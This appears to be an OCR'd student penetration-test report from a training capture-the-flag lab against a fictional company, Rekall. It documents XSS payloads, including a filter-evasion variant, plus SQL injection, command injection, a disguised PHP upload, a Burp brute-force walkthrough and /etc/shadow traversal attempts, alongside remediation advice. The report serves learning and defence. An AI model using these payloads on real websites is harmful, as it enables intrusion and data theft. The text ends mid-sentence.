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Confidentiality Statement

This document contains confidential and privileged information from Rekall Inc. (henceforth known
as Rekall). The information contained in this document is confidential and may constitute inside or
non-public information under international, federal, or state laws. Unauthorized forwarding, printing,
copying, distribution, or use of such information is strictly prohibited and may be unlawful. If you are
not the intended recipient, be aware that any disclosure, copying, or distribution of this document or
its parts is prohibited.
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Introduction

In accordance with Rekall policies, our organization conducts external and internal penetration tests
of its networks and systems throughout the year. The purpose of this engagement was to assess the
networks’ and systems’ security and identify potential security flaws by utilizing industry-accepted
testing methodology and best practices.

For the testing, we focused on the following:

e Attempting to determine what system-level vulnerabilities could be discovered and exploited
with no prior knowledge of the environment or notification to administrators.

e Attempting to exploit vulnerabilities found and access confidential information that may be
stored on systems.

e Documenting and reporting on all findings.

All tests took into consideration the actual business processes implemented by the systems and
their potential threats; therefore, the results of this assessment reflect a realistic picture of the actual
exposure levels to online hackers. This document contains the results of that assessment.

Assessment Objective

The primary goal of this assessment was to provide an analysis of security flaws present in Rekall’s
web applications, networks, and systems. This assessment was conducted to identify exploitable
vulnerabilities and provide actionable recommendations on how to remediate the vulnerabilities to
provide a greater level of security for the environment.

We used our proven vulnerability testing methodology to assess all relevant web applications,
networks, and systems in scope.

Rekall has outlined the following objectives:

Objective

Find and exfiltrate any sensitive information within the domain.

Escalate privileges.

Compromise several machines.
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Penetration Testing Methodology
Reconnaissance

We begin assessments by checking for any passive (open source) data that may assist the
assessors with their tasks. If internal, the assessment team will perform active recon using tools
such as Nmap and Bloodhound.

Identification of Vulnerabilities and Services

We use custom, private, and public tools such as Metasploit, hashcat, and Nmap to gain perspective
of the network security from a hacker’s point of view. These methods provide Rekall with an
understanding of the risks that threaten its information, and also the strengths and weaknesses of
the current controls protecting those systems. The results were achieved by mapping the network
architecture, identifying hosts and services, enumerating network and system-level vulnerabilities,
attempting to discover unexpected hosts within the environment, and eliminating false positives that
might have arisen from scanning.

Vulnerability Exploitation

Our normal process is to both manually test each identified vulnerability and use automated tools to
exploit these issues. Exploitation of a vulnerability is defined as any action we perform that gives us
unauthorized access to the system or the sensitive data.

Reporting

Once exploitation is completed and the assessors have completed their objectives, or have done
everything possible within the allotted time, the assessment team writes the report, which is the final
deliverable to the customer.
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Scope

Prior to any assessment activities, Rekall and the Hacktastic (hereafter referred to as HKTSTC)
assessment team will identify targeted systems with a defined range or list of network IP addresses.
The assessment team will work directly with the Rekall POC to determine which network ranges are
in-scope for the scheduled assessment.

It is Rekall’s responsibility to ensure that IP addresses identified as in-scope are actually controlled
by Rekall and are hosted in Rekall-owned facilities (i.e., are not hosted by an external organization).
In-scope and excluded IP addresses and ranges are listed below.
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Executive Summary of Findings

Grading Methodology

Each finding was classified according to its severity, reflecting the risk each such vulnerability may
pose to the business processes implemented by the application, based on the following criteria:

Critical: Immediate threat to key business processes.

High: Indirect threat to key business processes/threat to secondary business processes.
Medium: Indirect or partial threat to business processes.

Low: No direct threat exists; vulnerability may be leveraged with other vulnerabilities.

No threat; however, it is data that may be used in a future attack.

As the following grid shows, each threat is assessed in terms of both its potential impact on the
business and the likelihood of exploitation:

Critical

High

Exploitation Likelihood

Medium

Low

Informational

Informational Low Medium High Critical
Potential Impact
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Summary of Strengths

While the assessment team was successful in finding several vulnerabilities, the team also
recognized several strengths within Rekall’'s environment. These positives highlight the effective
countermeasures and defenses that successfully prevented, detected, or denied an attack technique
or tactic from occurring.

o Rekall made a real effort to deter attacks on its website with input validation at several points

Summary of Weaknesses

We successfully found several critical vulnerabilities that should be immediately addressed in order
to prevent an adversary from compromising the network. These findings are not specific to a
software version but are more general and systemic vulnerabilities.

e Rekall needs to work on promoting a culture of strong password use, multi-factor
authentication, secure storage of data, and careful use of credentials. More than half of the
vulnerabilities listed below would vanish with such a culture, so the rewards will be high for
making this improvement.

e Rekall is using older and unpatched versions of many services. The security and IT teams at
Rekall need to do regular security audits and install recommended patches for the services
being used.

e Logical ports on Rekall machines that could be closed are open, and sometimes running
vulnerable services. Rekall could consider closing some of those ports if they are not in
regular use. Otherwise, see the point above about strengthening those services.

e Rekall’s website code needs an added layer of protection with strong input validation at
every point of entry.
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Executive Summary

HKTSTC was able to find and exploit 24 vulnerabilities in Rekall's systems. But the good news here
is that over half of those could be fixed with a more security-forward culture that establishes strong
password policies and multi-factor authentication, along with employee training on storage of
sensitive or flagged data and when and where to use their credentials.

Many of the rest of the vulnerabilities arise from either old versions of services that can be readily
patched (CVE numbers are included better for references to suggested fixes) and from a lack of
input validation for the website (which can be added to the code).

Overall, input validation, regular patching of operating systems, and a culture of password and data
maintenance will make a measurable difference for Rekall, and these are readily accessible
solutions.

[Note to grader (Dan and/or Abdul): | was still trying up until today to crack those other flags from
Day 1. | was able to get one of them well after the deadline and kept working on others. | clearly
delineated which | got after the deadline was over. Dan mentioned that we would be graded on the
flags we were successful with, but | included my efforts on the flags | failed in case you have input or
reading suggestions for me. | really want to learn this, not just pass a class. It's of course up to you
whether or not you want to read those or comment. For the most part, | did not include my failed
attempts in the executive summary or summary of vulnerabilities. The one exception to that is the
brute force attack on the login page of the website. | am completely confident in my ability on the
technical aspects of that attack; where | lacked was in my creativity at guessing usernames and
passwords. And | wanted a full record for a how-to next time | need to use burp or a similar tool.

Finally, whenever there is a number included with the risk rating, that is because | was able to find a
rating of the threat and its CVE number (or what | thought was the CVE number that correlated)
online. | included citations wherever that was the case. If the vulnerability lacks a number, that
means | made a guess at its severity. | would very much like a reading suggestion or three on how to
estimate risk levels in future, as that felt very imprecise.

Thanks for grading this; | know it's long. | appreciate your time.]

10
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Summary Vulnerability Overview

Each of the following vulnerabilities has a link to a detailed explanation of the vulnerability along with a
delineation of the techniques HKTSTC used to find and exploit the vulnerability in question. Click on the link
and click on the drop-down to go to the appropriate page.

¢ | Vunerabilty | Severity

1

10

11

12

13

14

15

16

17

18

19

Cross-Site Scripting Vulnerabilities on Multiple Pages
The website lacks sufficient input validation and is vulnerable to having code

entered into input forms on various pages

Sensitive Data Exposure on About-Rekall.php Page
Sensitive data is posted on this page

Local File Injection Vulnerability on Memory-Planner.php Page
This page needs better input validation to prevent code being uploaded in
place of image files

SQL Injection Vulnerability on Login.php Page

This page needs to add an input validation layer to protect from SQL code
HTML/PHPJavaScript V. bil Login.ohp P

Sensitive data is exposed in the website coding on this page

Sensitive Data Exposure in Robots.txt File

The robots.txt file contains sensitive data

Command Injection on Networking.php Page

This page needs better input validation to protect from code injection that
allows a user to view files that should not be inaccessible

Brute Force Attack Vulnerability on Login
The login page allows too many guesses of invalid credentials

OSINT Sensitive Data Exposure
Public data includes personal employee information that could invite a
credential attack or social engineering

Website Security Certificate Vulnerability
The certificate authority for this site has a real red flag.

Exposed Network Vulnerabilities

An open source scan of Rekall’'s network shows a number of vulnerable ports
and services

: he S ! Mult P RCE V| -

This Apache service contains an error that allows for remote code execution
Apache Tomcat RCE Vulnerability

This version of Apache allows JSP file uploads and thus remote code
execution

Bash Shell “Shellshock” Vulnerability

This machine contains a version of GNU Bash that allows remote code
execution

Drupal RCE Vulnerability

This web service allows some remote code execution

Sudo Vulnerability
This older version of sudo allows an attacker to escalate privileges to root

Sensitive Data on Employees Public GitHub Repository and Weak Password
Employee credentials should be strong and not shared, even when encrypted

IP with Open Port 80

An open port 80 combined with hacked employee credentials allowed direct
access to this machine

Anonymous FTP Access to Files

11

Low

Low

Medium

Low

Low

Medium

Medium

Low

Medium

Critical
10.0

Critical
10.0

Critical
9.0

Medium

Medium

Low 0.0



Rekall Penetration Test Report

This machine’s FTP running on open port 21 has a problematic configuration
that allows anonymous file transfers
Seattle Lab Buffer Overflow Vulnerability

20 The POP3 server of this version of SLMail has a vulnerability that allows for
remote code execution

Privilege Escalation Vulnerability via LSASS/SAM
Windows SAM, a database that stores local passwords, can be accessed on Critical

21 this machine, which allows an attacker to steal hashed passwords and 9.8
attempt to crack them; weak passwords made that attack successful

22 The Public folder on this machine contained flagged material Medium
Domain Controller Login on Local Machine Cached in Windows Registry

23 A Domain Controller administrator logged on to a local machine with his DC Critical
credentials, which were then cached in Windows Registry and susceptible to 10.0
stealing; the vulnerability was compounded by the weakness of his password
D in Replication V bil

24 With DC credentials, we were able to move into the domain controller and Critical

exploit our privilege to request other administrator credentials

The following summary tables represent an overview of the assessment findings for this penetration

test:

website 192.168.14.35
totalrekall.xyz
192.168.13.10, 192.168.13.11,
192.168.13.12, 192.168.13.13,
192.168.13.14
172.22.117.10, 172.22.117.20
On 192.168.13.0/24 range, ports
22, 80, 8009, and 8080
Ports On 172.22.117.10, ports 21, 80,
and 110
On 172.22.117.20, port 445

Hosts

| Exploitation Risk

Critical 6
5

Medium 7
Low 6

12
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Vulnerability Findings

1. Cross-Site Scripting Vulnerabilities on Multiple Pages
Day 1: Flag 1

Vulnerability 1 Findings

Title XSS Vulnerabilities on Welcome and Memory-Planner and Comments pages

Type (Web app / | Web app
Linux OS /
Windows OS)

Risk Rating Low

A reflected cross-site scripting attack allows a user to insert code into input
forms on Rekall’'s website and leave the corporation vulnerable to loss of

Description sensitive information, denial of service, and other consequences. This is not a
stored attack, so the threat level is (so far) low.
Images See below

Affected Hosts | 192.168.14.35/Welcome.php;IP/Memory-Planner.php;IP/Comments.php

An attempt has been made at input validation at the choose your character
Remediation input, but it needs to be tightened and input validation added for the enter your
name and the comments forms.

Technique: HKTSTC was able to insert the code <script>alert(hacktime)</script> a in the “Begin by
entering your name below!” form on the 192.168.14.35/Welcome.php page

13
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U 4 192.168.14.35

REKALL CORPORATION

Welcome to VR Planning

On the next page you will be designing your perfect, unique
virtual reality experience!

Begin by entering your name below!

vt=alert(hacktime)</script>

We found this flag:

Click the link below to start the next step
in your choosing your VR experience!

CONGRATS, FLAG 1 is
f76sdfkg6sijf

Day 1: Flag 2

14
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Technique: HKTSTC was able to insert the following XSS payload into the “choose your character”
space on the page 192.168.14.35/Memory-Planner.php:
&lt;scrscriptipt&gt;alert(“hackertime!”)&lt;/scr</script>ipt&gt;

Note that the HTML character entities &lt; for < and &gt; for > evaded the input validation that
removed initial and final brackets. The input validation also looked for the word “script” in its
entirety on the front of the expression, so embedding the word script inside itself left a whole
word “script” once the embedded expression was removed. Finally, the input validation settings
looked for and removed the entire expression <\script> at the end of a string, so embedding that
expression like so “&lt;/scrEMBEDipt&gt;” left the close script tag at the end once the embedded
part was removed.

ript>alert("hacktime!")</script>, great ch

Congrats, flag 2 is SslalsEEIshER

Day 1: Flag 3

Technique: HKTSTC was able to enter the HTML code <script>alert(hola!)<\script> instead of a
comment on the comments page:

15
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REKALL CORPORATION

Please leave your
comments on our website!

<script>a|ert{hola!)<fscript>|

|Submit Add:® Showal: @ Delete: @

Flag 3 popped up:

Please leave your
comments on our website!

CONGRATS, FLAG 3 is sd7fk1nctx

ISubmit Add:®  Showall: @ Delete:

Date Entry

2022-07-14
02:00:18
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2. Sensitive Data Exposure on About-Rekall page
Day 1: Flag 4

Vulnerability 2 Findings

Title Sensitive data exposure

Type (Web app / | Web app
Linux OS /
Windows OS)

Risk Rating Low

Description The About-Rekall.php page contains sensitive information.

Images See below

Affected Hosts | 192.168.14.35/About-Rekall.php

Remove the sensitive information from this page and add this website to the

Remediation e . .
organization’s regular security audit to prevent recurrence.

Technique: HKTSTC did a verbose curl of the About-Rekall.php page on the Rekall domain and
found the following sensitive data:

; http:/ 2. .35/About-Rekall.php

* Trying 192 5:880 ..

* Connected to 1 (192.168.14.35) port 8@ (#@)
> GET /About php HTTR/1.1

> Host: 192.] %

> User-Agent: c

> Accept: #/%

* Mark bundle as not supporting multiuse
< HTTP/1.

1
led, Ji@1:43 GMT
ntu)
red-By r
ookie: PHPS bsi43t3mn716; path=/
es: Thu, 19 Nov 19 rh GMT
he-Control: no-store e, must-revalidate, post-check=0, pre-check=0
a: no-cache
Accept-Enc
ontent-Length
< Content-Type:

3. Local File Injection Vulnerability on Memory-Planner.php
Page
Day 1: Flag 5

Vulnerability 3 Findings

Title LFI vulnerability in two spots on Memory-Planner.php page

17
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Type (Web app / | Web app
Linux OS /
Windows OS)

Risk Rating High

A local file injection (LFI) vulnerability on the website will allow intruders to
Description upload more than just the images that Rekall had envisioned. Any number of
malicious files could be uploaded here to compromise Rekall’'s system.

Images See below

Affected Hosts | 192.168.14.35/Memory-Planner.php

Use input validation for this form to ensure that it will only accept images.

Remediation Tighten the input validation for the second input spot.

Technique: HKTSTC created the following php file:

Then we successfully uploaded this file instead of an image into the second input form on the
Memory-Planner.php page to get the following response:

Please upload an image:

Mo file selected.

Upload Your File!

Your image has been uploaded here.Congrats, flag 5 is [l VST

Day 1: Flag 6

Technique: The second image input form on this page did have some input validation that
prevented any files other than .jpg files from being uploaded. However, changing the name of the
above malicious payload from flag.php to flag.php.jpg evaded the input validation:

18
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® -
cp flag.php flag.php.jpg

® =

file3 hash.txt
flagfile flag.php LinEnum.sh

Please upload an image:

No file selected.
Upload Your File!

Your image has been uploaded here.Congrats, flag 6 is |d8skd62hdd

yprietary. All Rights Reserved. This site is operated by Trilogy Education Services, a 2U, Inc. brand, for educational purposes only. This is a

4. SQL Injection Vulnerability on Login.php Page
Day 1: Flag 7 [HKTSTC did not find flag by deadline for CTF; Rachelle found this later.]

Vulnerability 4 Findings

Title SQL code injection vulnerability on Login.php page

Type (Web app / | Web app
Linux OS /
Windows OS)

Risk Rating Medium

When an input form is accepting input to run in a query (such as a SQL query
Description or Python code), additional input can be inserted that can include commands
such as ours below to steal sensitive data, or other malicious commands.

Images See below

Affected Hosts | 192.168.14.35/Login.php

Remediation Use input validation for this form.

19
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Technique: We attempted multiple iterations of inserting “close quote OR open quote 1=1 into the
administrator login on this page to no avail up until the CTF deadline. However, a few days later, |
found the successful suggestion on (w3resource 2022):

login: abcd

password: anything’ OR X'="x

| had used the correct tautology and OR connector but had been trying to use valid credentials
(dougquaid and kuato) rather than invalid credentials. | had forgotten the very long time we spent in
class talking about the order of commands in SQL and how the valid credentials would have stopped
SQL from checking the next condition (the always true/tautology condition). Lesson learned.

©U & -0 192.168.14.35

REKALL CORPORATION

Please login with your user credentials
Login:

Password:
Congrats, flag 7 is bcs92sjsk233

5. HTML/PHPJavaScript Vulnerability on Login.php Page
Day 1: Flag 8
20
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Vulnerability 5 Findings

Title Careless inclusion of data in webpage coding for administrator login/password

Type (Web app / | Web app
Linux OS /
Windows OS)

Risk Rating Low

Inspecting a webpage element will show the code used to create that page.

Description This should not include sensitive information, nor should it be over-writable.

Images See below

Affected Hosts | 192.168.14.35/Login.php

Editing is often a default value for web design; that should be switched off
Remediation before a website is published. And code should be inspected to ensure that no
sensitive data is included.

Technique: When HKTSTC right clicked on the username input field and chose to “inspect element,”
a username was included in the HTML code for the field:

W {3 Inspector [3J Console [ Debugger 1 Metwork {} Style Editor () Performance 1k Memory E

w<form action="/Login.php" method="P0OST"=
- {p?
<label for="login"=Login:</label>
=font color="#DB545A">douggquaid=/font=
=br=

<input id="login" type="text" name="login" size="20"=
=/ p=
b oaps s

<button type="submit" name="form" wvalue="submit" background-color="black"=Login</button=
=/form=

e

Similarly, choosing to inspect element on the password input field revealed a password:

W O Inspector [ Console [ Debugger P Metwork {3 Style Editor (7Y Performance Tk Memory E Storage 'ﬁ'ﬁ.cc*

=

¥ =p>=l=/p>

v <p=
=label for="password"=Password:=/label>
=fant color="#DB545A"=kuato</font=

<br=
<input id="password" type="password" name="password® size="20"=
=/p=
<button type="submit" name="form" walue="submit" background-color="black"=Login</button>
=/ form=
<br=>

21
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Once those were applied, the 8th flag was revealed:

6. Sensitive Data Exposure in Robots.txt File
Day 1: Flag 9

Vulnerability 6 Findings

Title XSS Vulnerability on ...

Type (Web app / | Web app
Linux OS /
Windows OS)

Risk Rating Low

The robots.txt file is typically used by websites to communicate with web
crawlers and other bots which URLs they can access on the site; this is

Description primarily to prevent overloading the site with requests. However, Rekall’s
robots.txt file contained sensitive data.
Images See below

Affected Hosts | 192.168.14.35/robots.txt

Remediation Remove the sensitive information from the robots.txt file.

Technique: HKTSTC simply typed in the URL 192.168.14.35/robots.txt and found the following
sensitive information (aka flag) in the file:

22
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192.168.14.35/robots.txt - Web App X | @ FoxyProx

“—

C @ ©

Exploit-DB & Nessus

User-agent: GoodBot

Disallow:

User-agent: BadBot

Disallow:

/

User-agent: *

Disallow:
Disallow:
Disallow:
Disallow:
Disallow:

Sadmin/
Jdocuments/
/images/

Jfsouvenirs.php/
e dkkdud fkdy23

7. Command Injection on Networking.php Page

Day 1: Flag 10

Vulnerability 7 Findings

Title Command injection vulnerabilities on Networking.php page
Type (Web app / | Web app
Linux OS /
Windows OS)
Risk Rating

Description or Python code), additional input can be inserted that can include commands

When an input form is accepting input to run in a query (such as a SQL query

such as ours below to read sensitive files, or other malicious commands.

Images

See below

Affected Hosts | 192.168.14.35/Networking.php (accessed from Login.php page)

Remediation

Input validation can prevent injecting commands into input fields by preventing
things such as the && and || symbols.

Technique: HKTSTC appended the code “ && cat vendors.txt” after the domain already entered into
the DNS Check input line

DNS Check

ole.com && cat vendors.txt I Lookup

and the following flag was revealed:

23
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Just a reminder, the vendor list of our top-secret networking tools are
located in the file: vendors.txt

www.welcometorecall.com | Lookup

SIEM: splunk Firewalls: barracuda CLOUD: aws Load balancers: F5 Server:
127.0.0.11 Address: 127.0.0.11#53 Non-authoritative answer:
www.welcometorecall.com canonical name = welcometorecall.com. Name:
welcometorecall.com Address: 208.76.82.210

Congrats, flag 10 is ksdnd99dkas

Day 1: Flag 11
Technique: The second input field on this page had some attempt at input validation, but apparently

only to prevent ampersands. With help from (Cobalt, n.d.), we found the code “ | cat vendors.ixt” was
able to circumvent the input validation

MX Record Checker

to give the following flag:

MX Record Checker
WWW.exXam [Z!| e.com IW

SIEM: splunk Firewalls: barracuda CLOUD: aws Load balancers: F5

Congrats, flag 11 is opshdkasy78s

8. Brute Force Attack Vulnerability on Login
Day 1: Flag 12 Failure

24
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Vulnerability 8 Findings

Title Brute force attack vulnerability on login page

Type (Web app / | Web app
Linux OS /
Windows OS)

Risk Rating Medium

If an attacker can make unlimited guesses at usernames and passwords, they

Description may be able to log on to the system on the login page of the website.

Images See below

Affected Hosts | 192.168.14.35/Login.php

Set the login input to lock down after a certain number of unsuccessful

Remediation attempts in a limited amount of time.

Technique: | was able to successfully send login posts to BurpSuite — successfully — because Burp
showed dougquaid:kuato working in the exploit. My failure here was due to not being able to come
up with enough username and password guesses to get something successful. | tried the following:
Usernames:

ADM, admin, Admin, administrator, Administrator, etc due to hint we purchased that told us to use
the admin login on the page

user, username, user1, login, etc generic usernames

top 20 usernames from internet list (skipping those in different alphabets)

Passwords:

variations on the word password, with and without punctuation

variations on the SeasonYear theme

top 20 and top 25 passwords from two different internet lists

| also tried to upload rockyou.txt (which | had unzipped in the terminal), but that broke Burp. Twice.
My final attempt at this (21July2022) was the trigger for me to finally give up on this and the rest of
the flags, but | can say that it was beneficial in that the final time | ran the exploit, | did not have to
look at any notes to seamlessly employ the technique, which I initially found rather fiddly.

| have delineated the technique below just so that | will have it written down for future reference:
Step 1: Start burpsuite. Proxy—Options—Edit (Proxy Listeners)--> change port to 8081 (docker is

using port 8080 already).
Step 2: Proxy—Intercept—Intercept is off

25
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Burp Suite Community Edition v2021.10.3

Burp Project Intruder Repeater Window Help
Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Lo

Intercept HTTP history WebSockets history Options

Forward Drop | Intercept is off | Action | Open Browser
Use Burp's embedded ‘ Us
browser & "iﬁ_a

You
B BurpSuite . cor

tes
Bur

There's no need to configure your proxy
settings manually. Use Burp's embedded
Chromium browser to start testina rioht

Step 3: Foxy Proxy—Options— Edit (burpsuite)-->make sure that the port is 8081.
'g\fj) Edit Proxy burpsuite

Title or Description (optional) Proxy Type
burpsui ‘ HTT
Color Proxy IP address or DNS name
Port #

Step 4: Make sure that foxy proxy is off.
Step 5: Go to login page of website
Step 6: Burp—Proxy—Intercept—Intercept is on

Login X o pp =)

< ¢ @ Burp Project Intruder Repeater Window Help
Exploit-DB @ Nessus Dashboard
Intercept HTTP history WebSockets history Options

Burp Suite Community Edition v2021.10.3 - Temporary Project

Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger Extender Proj

Drop Intercept is on Action | open Browser

Use Burp's embedded ‘ Use a different brows
browser & e
' o You'll need to perform a few adi
R - configure your browser's proxy s
There's no need to configure your proxy testigg szr HTTPS, you'ltpal:gn
settings manually. Use Burp's embedded Burp's CA certiﬁcatle
Chromium browser to start testing right P ’
away.
. S BT—
- | View documentation |

Step 7: Foxy proxy—burpsuite is on
Step 8: Website: type in random username:password combo
Step 9: Burp—Proxy—Intercept—right click on intercepted POST and “send to intruder”

26



Rekall Penetration Test Report

Dashboard Target Proxy Intruder Repeater Sequencer Decoder
ntercept HTTP history WebSockets history Options

& Request to http://192.168.14.35:80

|_ Forward | | Drop | | Action | | Open Browser
Pretty Hex =

POST /Login.php HTTR/1.1

Host: 192.168.14.35
User-Agent: Mozillay/S.0 (X11; Linux x86 64; rv:738.0) Gecko/20100101 F

—

M

4 pccept: texty/html,application/xhtmlioeml senlscots an fumlea—n nsmagg f,
S Accept-Language: en-US,en;g=0.5 scan

6 Accept-Encoding: gzip, deflate Send to Intruder Ctrl-I

_ ggzzzzz:Izizéh?pgélcatmnfx-w-f Send to Repeater Ctrl-R

9 origin: http://192.168.14.35 Send to Sequencer

10 Connection: close Send to Comparer

11 Referer: http://192.168.14.35/Log
12 Cookie: security level=0; PHPSESS .
2 Upgrade-Insecure-Requests: 1 Request in browser ?

14 Engagement tools [Pro version only] >
15 login=anyold&password=thing&form=

Send to Decoder

Change request method
Change body encoding

Coov URL
Step 10: Go to the (now highlighted) Intruder tab — Positions — Clear § — Add § in just the login
and password positions — Attack type set to “Cluster bomb”

g S s gL iy e e L e A a1 1 S e I S e E T S s

Attack type: | Cluster bomb ~ |
1 POST /Login.php HTTR/1.1 [ adds ]
2 Host: 192.168.14.35 S
3 User-Agent: Mozilla/S.0 (X11; Linux x85_84; rv:78.0) Gecko/20100101 Firefox/78.0 [ Clears |
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,1image/webp,*/*;q=0.8 ( AUtO§ ‘
S Accept-Language: en-US,en;g=0.5 3
& Accept-Encoding: gzip, deflate | Refresh ‘

7 Content-Type: application/x-www-form-urlencoded

& Content-Length: 39

9 Origin: http:,’,ﬂ’lgz. 168.14.35

10 Connection: close

11 Referer: http://192.168.14.35/Login.php

12 Cookie: security_level=0; PHPSESSID=ghte7s8mkOohguueltgsgp)Sll
12 Upgrade-Insecure-Requests: 1

14

15 login=§anyold§&password=§thing§fsform=submit

Step 11: Intruder — Payloads — Payload set 1 — Payload options: enter possible user names (this
is where | think | had a failure of imagination):
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Dashboard Target Proxy Intruder Repeater Sequencer Decoder
1 = 2 = 3 =

Target Fositions Fayloads Resource FPool Cptions

® Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attack
customized in different ways.

Payload set: | 1 V| Payload count: 11

Payload type: | Simple list V| Reguest count: O

@ Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

| Paste | login
|. Load ... |
————— |user
| Remove ||user] .
————————— | admin
|:L_| administrator
|. Deduplicate | Admin
Administrator

| Add |
Add from list ... [Proversion only]

Step 11: Intruder — Payloads — Payload set 2 — Payload options: enter possible user passwords
(this is where | entered a “most common passwords” set from the web and also tried to upload
rockyou.txt):

Burp Project Intruder Repeater Window Help

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger Extender Project options User options Learn

1 = 2 x 3 =

Target Positions Payloads Resource Pool Options

@ Payloadsets st

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each payload set, and each payload type can be
customized in different ways.

Payload set: ‘ 2 v | Payload count: 11

Payload type: ‘ Simple list e | Request count: 132

@ Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

| Paste | password
r password*
‘Lﬂml cybersecurity
| Remove ||Password!
‘?l Changeme! P
_$ password1
| Deduplicate ||1234
123456
[ add |

Add from list ... [Pro version only]

Step 12: Start attack:
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2. Intruder attack of 192.168.14.35 - Temporary attack - Not saved to project file

Attack Save Columns
Results Target Positions Payloads Resource Pool Options

Filter: Showing all items |®
Request Payload1 Payload 2 Status Errer  Timeout Length Comment

0 200 8706

1 login password 200 8706

2 password 200 8706

3 user password 200 8706

4 user] password 200 8706

5 admin password 200 8706

6 administrator password 200 8706

7 Admin password 200 8706

8 Administrator password 200 8706

9 trivera password 200 8706

10 user 0 password 200 8706

m sysadmin password 200 8706

12 ADMBob password 200 8706

13 login passwOrd® 200 8706

Step 13: Sort responses by length and see if there is a longer/shorter response in the list:

% 2. Intruder attack of 192.168.14.35 - Temporary attack - Not saved to project fi
At

tack Save Columns

Results Target Positions Payloads Resource Pool Options
.| Filter: Showing all items
Request Payload 1 Payload 2 Status Error  Timeout  Length
0 200 8706
1 legin password 200 8706
1: password 200 8706
3 user password 200 8706
4 userl password 200 8706
5 admin password 200 28706
& administrator password 200 8706
7 Admin password 200 8706
8 Administrator password 200 8706
9 trivera password 200 8706
10 user 0 password 200 8706
hk sysadmin password 200 8706
12 ADMBob password 200 28706
13 legin pdsswOrd* 200 8706

You see in one of the attempts that the credentials | knew worked gave a different length response
and the “Pretty” version with “Successful login!” so burp is working, just not my creativity in coming
up with usernames and passwords:
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UL | BIIR| e g w s

Request Payload1 Payload 2 Status Error  Timeout Length Comment
bad Optionf 26 1 123456789 200 8706

27 Login 123456789 200 8706
ayloadtype g 5g admin kuato 200 8706
st 29 administrator kuato 200 8706
Paste  |(f30 Admin kuato 200 2706
;;1'__| 3 Administrator kuato 200 8706
—— | dougquaid kuato 200 8829
emove || f33 user kuato 200 8706
Clear | 34 userl kuato 200 3706
== 35 1 kuato 200 8706
duplicate ||} 36 login kuato 200 8706

37 admin password 200 8706
_ﬁ:cEl__”: 38 administrator password 200 8706

39 Admin password 200 8706

=
Request Response

Raw Hex Render iy f=

sad Procesd 1=3
</form=
3n define rule
L </br =
dd || E
_F*f‘ 157 <font color="green"=
:_lt Successful login! flag 8 1s 87fsdkfédif , also check out the admin only networking tools<p=
nove | <a href=networking.php=>
== <h=
Jp J ==
m_ i
<fu=
(NS [e1[31aazrrn

PHP Injection Vulnerability
Day 1: Flag 13 Failure

Session Management Vulnerability
Day 1: Flag 14 Failure

Vulnerability Findings

Title Session management vulnerability on UNKNOWN page

Type (Web app / | Web app
Linux OS /
Windows OS)

Risk Rating

Description

Images See below

Affected Hosts | 192.168.14.35/????.php

Remediation

Technique: | was able to intercept both a GET and a POST and send them to Repeater, but the
cookies were few and uninteresting. | bought a hint for this and realized from the hint that this was
only going to work on a new page that success at Day 1: Flag 12 would open, so hopefully | could
have done this successfully if I'd been on the correct page. | would like to try it again elsewhere and
see if | could get a better understanding of what kinds of cookies I'd be seeing.
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Web App

Burp Suite Community Edition v2021.10.3 - Temporary Project

U 4 1

Burp Project Intruder Repeater Window Help

Target Intruder Repeater Sequencer Decoder Comparer Legger Extender Project eptions |

Intercept HTTP history WebSeckets history Options.

Dash

£’ Request to http:/[192.168.14.35:80

\: Forward \ | Drop | \ Action || openBrowser

Hex =

GET /networking.php HTTR/1.1

Host: 192.168.14.35

User-Agent: Mozilla/5.0 (X11; Linux x36 64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml, zpplication/xml;g=0.9,1mage/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: close

2 Cookie: security level=0; PHPSESSID=s82fhf462rghkjejspgtetakbz

9 Upgrade-Insecure-Requests: 1

10 Cache-Control: max-age=0

o

W=

R e B

&% New Tab

Burp Suite Community Edition v2021.10.3 -

Window

Burp Project Intruder Repeater

Dashboard Target P roxy Intruder Repeater Sequencer Decoder Comparer Log

Cancel

Request Response

F'rr:".:-,-' Hex M =

1 [GET /networking.php HTTP/1.1
2 Host: 192.168.14.35

2 User-Agent: Mozilla/S.0 (X11; Linux xBS _B64; rv:78.0)
Gecko/20100101 Firefox/78.0
4 Accept:

text/html, application/xhtml+xml, application/xml; q=0.
9,1mage/webp,*/*;q=0.8

S Accept-Language: en-Us,en;g=0.5

& Accept-Encoding: gzip, deflate

7 Connection: close

S Cookle: security_level=0; PHPSESSID=
s83fhfas2rghkjejspgtctakbz

2 Upgrade-Insecure-Requests: 1

10 Cache-Control: max-age=0
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Burp Project Intruder Repeater Window Help

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger Extender Project of

Intercept

HTTP history WebSockets history Options

/ Request to http:/f192.168.14.35:80

Forward | Drop l Interceptison Action || OpenBrowser

ety | Hex n =

posT /Login.php HTTP/1.1

Host: 192.158.14.35

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml, application/xml;q=0.9,1mage webp, */*;q=0.8
Accept-Language: en-US,en;q=0.5

& Accept-Encoding: gzip, deflate

10
11
12
13
14
15

Content-Type: application/x-www-form-urlencoded

} Content-Length: 38
9 0rigin: http://192.168.14.35

Connection: close

Referer: http://192.168.14.35/Login.php

Cookie: security_level=0; PHPSESSID=s88fhf4s2rghkjejspgtcfakbz
Upgrade-Insecure-Requests: 1

login=login&password=login&form=submit

Directory Traversal Vulnerability

Day 1:

Flag 15 Failure

Vulnerability Findings

Title Directory traversal vulnerability WHERE??

Type (Web app / | Web app
Linux OS /
Windows OS)

Risk Rating
Description
Images See below
Affected Hosts | 192.168.14.35/?????.php
Remediation

Technique: | tried opening an /../../../etc/shadow file by appending to the end of
192.168.14.35/../../..letc/shadow with different numbers of /..s, but | was not successful. | tried to
append ?filename=../../../etc/passwd to the end of each page, the robots.txt page, and each of the
